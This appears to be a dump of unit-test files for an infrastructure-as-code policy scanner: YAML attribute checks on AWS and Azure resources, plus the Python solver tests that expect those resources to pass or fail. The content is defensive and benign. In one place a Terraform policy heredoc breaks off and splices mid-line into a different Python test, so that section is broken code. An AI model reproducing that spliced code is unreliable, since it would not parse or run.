tests/terraform/graph/checks_infra/attribute_solvers/length_not_equals_solver/DictLengthNotEquals.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "DictLengthNotEquals" definition: cond_type: "attribute" resource_types: - aws_security_group attribute: ingress operator: length_not_equals value: "2" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/length_not_equals_solver/StringLengthNotEquals.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "StringLengthNotEquals" definition: cond_type: "attribute" resource_types: - aws_security_group attribute: description operator: length_not_equals value: "16" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/length_not_equals_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/length_not_equals_solver/test_solver.py ================================================ import os from parameterized import parameterized_class from tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS from tests.terraform.graph.checks_infra.test_base import TestBaseSolver TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class TestLengthNotEquals(TestBaseSolver): def setUp(self): self.checks_dir = TEST_DIRNAME super(TestLengthNotEquals, self).setUp() def test_array_length_not_equals(self): # this is just a basic check to make sure the operator works # we'll check all the other combinations more directly (because coming up with all the policy combos is painful) root_folder = '../../../resources/lengths' check_id = "ArrayLengthNotEquals" should_pass = ['aws_security_group.sg2'] should_fail = ['aws_security_group.sg1'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_string_length_not_equals(self): # this is just a basic check to make sure the operator works # we'll check all the other combinations more directly (because coming up with all the policy combos is painful) root_folder = '../../../resources/lengths' check_id = "StringLengthNotEquals" should_pass = ['aws_security_group.sg1'] should_fail = ['aws_security_group.sg2'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_dict_length_not_equals(self): # this is just a basic check to make sure the operator works # we'll check all the other combinations more directly (because coming up with all the policy combos is painful) root_folder = '../../../resources/lengths' check_id = "DictLengthNotEquals" should_pass = ['aws_security_group.sg2'] should_fail = ['aws_security_group.sg3'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/not_contains_solver/PublicSG.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "PublicSG" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "aws_security_group" attribute: "ingress.cidr_blocks" operator: "not_contains" value: "0.0.0.0/0" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/not_contains_solver/PublicVMs.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "PublicVMs" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "aws_default_security_group" attribute: "ingress.cidr_blocks" operator: "not_contains" value: "0.0.0.0/0" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/not_contains_solver/SpecificBlockSG.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "SpecificBlockSG" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "aws_security_group" attribute: "ingress.cidr_blocks" operator: "not_contains" value: "10.2.2.0/24" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/not_contains_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/not_contains_solver/test_solver.py ================================================ import os from parameterized import parameterized_class from tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS from tests.terraform.graph.checks_infra.test_base import TestBaseSolver TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class TestNotContainsSolver(TestBaseSolver): def setUp(self): self.checks_dir = TEST_DIRNAME super(TestNotContainsSolver, self).setUp() def test_public_virtual_machines(self): root_folder = '../../../resources/public_virtual_machines' check_id = "PublicVMs" should_pass = ['aws_default_security_group.default_security_group_closed'] should_fail = ['aws_default_security_group.default_security_group_open'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_list_cidr_blocks(self): root_folder = '../../../resources/security_group_list_cidr_blocks' check_id = "PublicSG" should_pass = ['aws_security_group.passed_cidr_block', 'aws_security_group.failed_cidr_blocks'] should_fail = [] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_list_cidr_blocks_specific(self): root_folder = '../../../resources/security_group_list_cidr_blocks' check_id = "SpecificBlockSG" should_pass = ['aws_security_group.failed_cidr_blocks'] should_fail = ['aws_security_group.passed_cidr_block'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/not_ending_with_solver/AmiEndingWith.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "AmiEndingWith" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "aws_instance" attribute: "ami" operator: "not_ending_with" value: "-0" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/not_ending_with_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/not_ending_with_solver/test_solver.py ================================================ import os from parameterized import parameterized_class from tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS from tests.terraform.graph.checks_infra.test_base import TestBaseSolver TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class TestNotEndingWithSolver(TestBaseSolver): def setUp(self): self.checks_dir = TEST_DIRNAME super(TestNotEndingWithSolver, self).setUp() def test_ami_ending_with(self): root_folder = '../../../resources/public_virtual_machines' check_id = "AmiEndingWith" should_pass = ['aws_instance.with_closed_def_security_groups', 'aws_instance.with_open_security_groups', 'aws_instance.with_subnet_public', 'aws_instance.with_subnet_not_public',] should_fail = ['aws_instance.with_open_def_security_groups'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/not_equals_ignore_case_solver/BooleanString.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "BooleanString" scope: provider: "Azure" definition: cond_type: "attribute" resource_types: - "azurerm_storage_account" attribute: "allow_blob_public_access" operator: "not_equals_ignore_case" value: "FALSE" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/not_equals_ignore_case_solver/EncryptedResources.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "EncryptedResources" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "aws_rds_cluster" - "aws_neptune_cluster" - "aws_s3_bucket" attribute: "encryption_" operator: "not_equals_ignore_case" value: "unencrypted" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/not_equals_ignore_case_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/not_equals_ignore_case_solver/test_solver.py ================================================ import os from parameterized import parameterized_class from tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS from tests.terraform.graph.checks_infra.test_base import TestBaseSolver TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class TestNotEqualsIgnoreCaseSolver(TestBaseSolver): def setUp(self): self.checks_dir = TEST_DIRNAME super(TestNotEqualsIgnoreCaseSolver, self).setUp() def test_not_equals_ignore_case_solver_wildcard(self): root_folder = '../../../resources/encryption_test' check_id = "EncryptedResources" should_pass = ['aws_rds_cluster.rds_cluster_encrypted', 'aws_s3_bucket.encrypted_bucket', 'aws_neptune_cluster.encrypted_neptune'] should_fail = ['aws_rds_cluster.rds_cluster_unencrypted', 'aws_s3_bucket.unencrypted_bucket', 'aws_neptune_cluster.unencrypted_neptune'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} super(TestNotEqualsIgnoreCaseSolver, self).run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_not_equals_ignore_case_solver_boolean(self): root_folder = '../../../resources/boolean_test' check_id = "BooleanString" should_pass = ['azurerm_storage_account.fail1', 'azurerm_storage_account.fail2', 'azurerm_storage_account.fail3'] should_fail = ['azurerm_storage_account.pass1', 'azurerm_storage_account.pass2'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} super(TestNotEqualsIgnoreCaseSolver, self).run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/not_equals_solver/PublicDBSG.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "PublicDBSG" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "aws_db_security_group" attribute: "ingress.cidr" operator: "not_equals" value: "10.0.0.0/24" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/not_equals_solver/SGPorts.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "SGPorts" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "aws_security_group" attribute: "ingress.*.to_port" operator: "not_equals" value: 8182 ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/not_equals_solver/UnrenderedVar.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "UnrenderedVar" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "aws_s3_bucket" attribute: "bucket" operator: "not_equals" value: "abcdefg" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/not_equals_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/not_equals_solver/test_solver.py ================================================ import os from parameterized import parameterized_class from tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS from tests.terraform.graph.checks_infra.test_base import TestBaseSolver TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class TestNotEqualsSolver(TestBaseSolver): def setUp(self): self.checks_dir = TEST_DIRNAME super(TestNotEqualsSolver, self).setUp() def test_not_equals_solver_simple(self): root_folder = '../../../resources/public_security_groups' check_id = "PublicDBSG" should_fail = ['aws_db_security_group.aws_db_security_group_private'] should_pass = ['aws_db_security_group.aws_db_security_group_public'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_not_equals_solver_wildcard(self): root_folder = '../../../resources/security_group_multiple_rules' check_id = "SGPorts" should_pass = ['aws_security_group.sg1', 'aws_security_group.sg2'] should_fail = [] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_not_equals_solver_unrendered(self): root_folder = '../../../resources/variable_rendering/unrendered' check_id = "UnrenderedVar" should_pass = [] should_fail = [] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/not_exists_solver/SecureTransportExist.yaml ================================================ --- metadata: name: "SecureTransport Testing" category: "general" id: "SecureTransport" guidelines: "testing" severity: "high" scope: provider: "aws" definition: cond_type: "attribute" resource_types: - "aws_s3_bucket_policy" attribute: "policy.Statement.*.Condition.Bool.aws:SecureTransport" operator: "not_exists" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/not_exists_solver/TagEnvironmentExists.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "TagEnvironmentExists" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "aws_s3_bucket" attribute: "tags.Environment" operator: "not_exists" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/not_exists_solver/VersioningEnabledExists.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "VersioningEnabledExists" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "aws_s3_bucket" attribute: "versioning.enabled" operator: "not_exists" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/not_exists_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/not_exists_solver/resources/main.tf ================================================ provider "aws" { region = "us-east-1" } resource "aws_s3_bucket" "test" { bucket = "comp-s3-all-rql-nov10-22" tags = { test = "demo" } } resource "aws_s3_bucket_policy" "allow_access" { bucket = aws_s3_bucket.test.id policy = < None: self.checks_dir = TEST_DIRNAME super(TestNotWithinSolver, self).setUp() def test_basic_usage(self) -> None: root_folder = '../../../resources/public_virtual_machines' check_id = "NameNotWithin" should_pass = ['aws_subnet.subnet_not_public_ip'] should_fail = ['aws_subnet.subnet_public_ip'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/number_of_words_equals_solver/NumberOfWordsEquals.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "NumberOfWordsEquals" definition: cond_type: "attribute" resource_types: - aws_security_group attribute: ingress.description operator: number_of_words_equals value: 6 ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/number_of_words_equals_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/number_of_words_equals_solver/test_solver.py ================================================ import os from parameterized import parameterized_class from tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS from tests.terraform.graph.checks_infra.test_base import TestBaseSolver TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class TestNumberOfNotWordsEquals(TestBaseSolver): def setUp(self): self.checks_dir = TEST_DIRNAME super(TestNumberOfNotWordsEquals, self).setUp() def test_number_of_words_equals(self): # this is just a basic check to make sure the operator works # we'll check all the other combinations more directly (because coming up with all the policy combos is painful) root_folder = '../../../resources/number_of_words' check_id = "NumberOfWordsEquals" should_pass = ['aws_security_group.sg1'] should_fail = ['aws_security_group.sg2'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/number_of_words_greater_than_or_equal_solver/NumberOfWordsGreaterThanOrEqual.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "NumberOfWordsGreaterThanOrEqual" definition: cond_type: "attribute" resource_types: - aws_security_group attribute: ingress.description operator: number_of_words_greater_than_or_equal value: 6 ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/number_of_words_greater_than_or_equal_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/number_of_words_greater_than_or_equal_solver/test_solver.py ================================================ import os from parameterized import parameterized_class from tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS from tests.terraform.graph.checks_infra.test_base import TestBaseSolver TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class TestNumberOfWordsGreaterThanOrEqual(TestBaseSolver): def setUp(self): self.checks_dir = TEST_DIRNAME super(TestNumberOfWordsGreaterThanOrEqual, self).setUp() def test_number_of_words_greater_than_or_equal(self): # this is just a basic check to make sure the operator works # we'll check all the other combinations more directly (because coming up with all the policy combos is painful) root_folder = '../../../resources/number_of_words' check_id = "NumberOfWordsGreaterThanOrEqual" should_pass = ['aws_security_group.sg1'] should_fail = ['aws_security_group.sg2'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/number_of_words_greater_than_solver/NumberOfWordsGreaterThan.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "NumberOfWordsGreaterThan" definition: cond_type: "attribute" resource_types: - aws_security_group attribute: ingress.description operator: number_of_words_greater_than value: 4 ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/number_of_words_greater_than_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/number_of_words_greater_than_solver/test_solver.py ================================================ import os from parameterized import parameterized_class from tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS from tests.terraform.graph.checks_infra.test_base import TestBaseSolver TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class TestNumberOfWordsGreaterThan(TestBaseSolver): def setUp(self): self.checks_dir = TEST_DIRNAME super(TestNumberOfWordsGreaterThan, self).setUp() def test_number_of_words_greater_than(self): # this is just a basic check to make sure the operator works # we'll check all the other combinations more directly (because coming up with all the policy combos is painful) root_folder = '../../../resources/number_of_words' check_id = "NumberOfWordsGreaterThan" should_pass = ['aws_security_group.sg1'] should_fail = ['aws_security_group.sg2'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/number_of_words_less_than_or_equal_solver/NumberOfWordsLessThanOrEqual.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "NumberOfWordsLessThanOrEqual" definition: cond_type: "attribute" resource_types: - aws_security_group attribute: ingress.description operator: number_of_words_less_than_or_equal value: 3 ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/number_of_words_less_than_or_equal_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/number_of_words_less_than_or_equal_solver/test_solver.py ================================================ import os from parameterized import parameterized_class from tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS from tests.terraform.graph.checks_infra.test_base import TestBaseSolver TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class TestNumberOfWordsLessThanOrEqual(TestBaseSolver): def setUp(self): self.checks_dir = TEST_DIRNAME super(TestNumberOfWordsLessThanOrEqual, self).setUp() def test_number_of_words_less_than_or_equal(self): # this is just a basic check to make sure the operator works # we'll check all the other combinations more directly (because coming up with all the policy combos is painful) root_folder = '../../../resources/number_of_words' check_id = "NumberOfWordsLessThanOrEqual" should_pass = ['aws_security_group.sg2'] should_fail = ['aws_security_group.sg1'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/number_of_words_less_than_solver/NumberOfWordsLessThan.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "NumberOfWordsLessThan" definition: cond_type: "attribute" resource_types: - aws_security_group attribute: ingress.description operator: number_of_words_less_than value: 4 ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/number_of_words_less_than_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/number_of_words_less_than_solver/test_solver.py ================================================ import os from parameterized import parameterized_class from tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS from tests.terraform.graph.checks_infra.test_base import TestBaseSolver TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class TestNumberOfWordsLessThan(TestBaseSolver): def setUp(self): self.checks_dir = TEST_DIRNAME super(TestNumberOfWordsLessThan, self).setUp() def test_number_of_words_less_than(self): # this is just a basic check to make sure the operator works # we'll check all the other combinations more directly (because coming up with all the policy combos is painful) root_folder = '../../../resources/number_of_words' check_id = "NumberOfWordsLessThan" should_pass = ['aws_security_group.sg2'] should_fail = ['aws_security_group.sg1'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/number_of_words_not_equals_solver/NumberOfWordsEquals.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "NumberOfWordsNotEquals" definition: cond_type: "attribute" resource_types: - aws_security_group attribute: ingress.description operator: number_of_words_not_equals value: 6 ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/number_of_words_not_equals_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/number_of_words_not_equals_solver/test_solver.py ================================================ import os from parameterized import parameterized_class from tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS from tests.terraform.graph.checks_infra.test_base import TestBaseSolver TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class TestNumberOfWordsEquals(TestBaseSolver): def setUp(self): self.checks_dir = TEST_DIRNAME super(TestNumberOfWordsEquals, self).setUp() def test_number_of_words_not_equals(self): # this is just a basic check to make sure the operator works # we'll check all the other combinations more directly (because coming up with all the policy combos is painful) root_folder = '../../../resources/number_of_words' check_id = "NumberOfWordsNotEquals" should_pass = ['aws_security_group.sg2'] should_fail = ['aws_security_group.sg1'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/range_includes_solver/JsonPathRangeIncludesInt.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "JsonPathRangeIncludesInt" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "test" attribute: "range" operator: "jsonpath_range_includes" value: 3000 ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/range_includes_solver/JsonPathRangeIncludesList.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "JsonPathRangeIncludesList" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "test" attribute: "range" operator: "jsonpath_range_includes" value: - "400" - 3000 - 100 - "1" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/range_includes_solver/JsonPathRangeIncludesListWRange.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "JsonPathRangeIncludesListWRange" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "test" attribute: "range" operator: "jsonpath_range_includes" value: - 200 - 3000-4000 - "400-500" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/range_includes_solver/JsonPathRangeIncludesString.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "JsonPathRangeIncludesString" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "test" attribute: "range" operator: "jsonpath_range_includes" value: "3000" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/range_includes_solver/RangeIncludesInt.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "RangeIncludesInt" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "test" attribute: "range" operator: "range_includes" value: 3000 ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/range_includes_solver/RangeIncludesList.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "RangeIncludesList" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "test" attribute: "range" operator: "range_includes" value: - 200 - 3000 - 400 - "500" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/range_includes_solver/RangeIncludesListWRange.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "RangeIncludesListWRange" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "test" attribute: "range" operator: "range_includes" value: - 200 - 3000-4000 - "400-500" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/range_includes_solver/RangeIncludesString.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "RangeIncludesString" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "test" attribute: "range" operator: "range_includes" value: "3000" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/range_includes_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/range_includes_solver/resources/main.tf ================================================ resource "test" "pass1" { range = "*" } resource "test" "pass2" { range = 3000 } resource "test" "pass3" { range = "3000" } resource "test" "pass4" { range = "3000-4000" } resource "test" "pass5" { range = "2000-3000" } resource "test" "pass6" { range = "2000-4000" } resource "test" "pass7" { range = ["2100","2000-4000","3400"] } resource "test" "fail1" { range = 2000 } resource "test" "fail2" { range = "2000" } resource "test" "fail3" { range = "1000-2000" } resource "test" "fail4" { range = "4000-5000" } resource "test" "fail5" { # no range } resource "test" "fail6" { range = "abc" } resource "test" "fail7" { range = "abc-123" } resource "test" "fail8" { range = "1000-5000-6000" } resource "test" "fail9" { range = ["1000","2000-2900"] } ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/range_includes_solver/test_solver.py ================================================ import os from parameterized import parameterized_class from tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS from tests.terraform.graph.checks_infra.test_base import TestBaseSolver TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class TestRangeIncludesSolver(TestBaseSolver): def setUp(self): self.checks_dir = TEST_DIRNAME super(TestRangeIncludesSolver, self).setUp() def test_range_includes_int_solver(self): root_folder = 'resources' check_id = "RangeIncludesInt" should_pass = ['test.pass1', 'test.pass2', 'test.pass3', 'test.pass4', 'test.pass5', 'test.pass6', 'test.pass7'] should_fail = ['test.fail1', 'test.fail2', 'test.fail3', 'test.fail4', 'test.fail5', 'test.fail6', 'test.fail7', 'test.fail8', 'test.fail9'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_range_includes_string_solver(self): root_folder = 'resources' check_id = "RangeIncludesString" should_pass = ['test.pass1', 'test.pass2', 'test.pass3', 'test.pass4', 'test.pass5', 'test.pass6', 'test.pass7'] should_fail = ['test.fail1', 'test.fail2', 'test.fail3', 'test.fail4', 'test.fail5', 'test.fail6', 'test.fail7', 'test.fail8', 'test.fail9'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_range_includes_int_jsonpath_solver(self): root_folder = 'resources' check_id = "JsonPathRangeIncludesInt" should_pass = ['test.pass1', 'test.pass2', 'test.pass3', 'test.pass4', 'test.pass5', 'test.pass6', 'test.pass7'] should_fail = ['test.fail1', 'test.fail2', 'test.fail3', 'test.fail4', 'test.fail5', 'test.fail6', 'test.fail7', 'test.fail8', 'test.fail9'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_range_includes_string_jsonpath_solver(self): root_folder = 'resources' check_id = "JsonPathRangeIncludesString" should_pass = ['test.pass1', 'test.pass2', 'test.pass3', 'test.pass4', 'test.pass5', 'test.pass6', 'test.pass7'] should_fail = ['test.fail1', 'test.fail2', 'test.fail3', 'test.fail4', 'test.fail5', 'test.fail6', 'test.fail7', 'test.fail8', 'test.fail9'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_range_includes_list_solver(self): root_folder = 'resources' check_id = "RangeIncludesList" should_pass = ['test.pass1', 'test.pass2', 'test.pass3', 'test.pass4', 'test.pass5', 'test.pass6', 'test.pass7'] should_fail = ['test.fail1', 'test.fail2', 'test.fail3', 'test.fail4', 'test.fail5', 'test.fail6', 'test.fail7', 'test.fail8', 'test.fail9'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_range_includes_list_jsonpath_solver(self): root_folder = 'resources' check_id = "JsonPathRangeIncludesList" should_pass = ['test.pass1', 'test.pass2', 'test.pass3', 'test.pass4', 'test.pass5', 'test.pass6', 'test.pass7'] should_fail = ['test.fail1', 'test.fail2', 'test.fail3', 'test.fail4', 'test.fail5', 'test.fail6', 'test.fail7', 'test.fail8', 'test.fail9'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_range_includes_list_w_list_solver(self): root_folder = 'resources' check_id = "RangeIncludesListWRange" should_pass = ['test.pass1', 'test.pass2', 'test.pass3', 'test.pass4', 'test.pass5', 'test.pass6', 'test.pass7', 'test.fail4'] should_fail = ['test.fail1', 'test.fail2', 'test.fail3', 'test.fail5', 'test.fail6', 'test.fail7', 'test.fail8', 'test.fail9'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_range_includes_list_w_list_jsonpath_solver(self): root_folder = 'resources' check_id = "JsonPathRangeIncludesListWRange" should_pass = ['test.pass1', 'test.pass2', 'test.pass3', 'test.pass4', 'test.pass5', 'test.pass6', 'test.pass7', 'test.fail4'] should_fail = ['test.fail1', 'test.fail2', 'test.fail3', 'test.fail5', 'test.fail6', 'test.fail7', 'test.fail8', 'test.fail9'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} 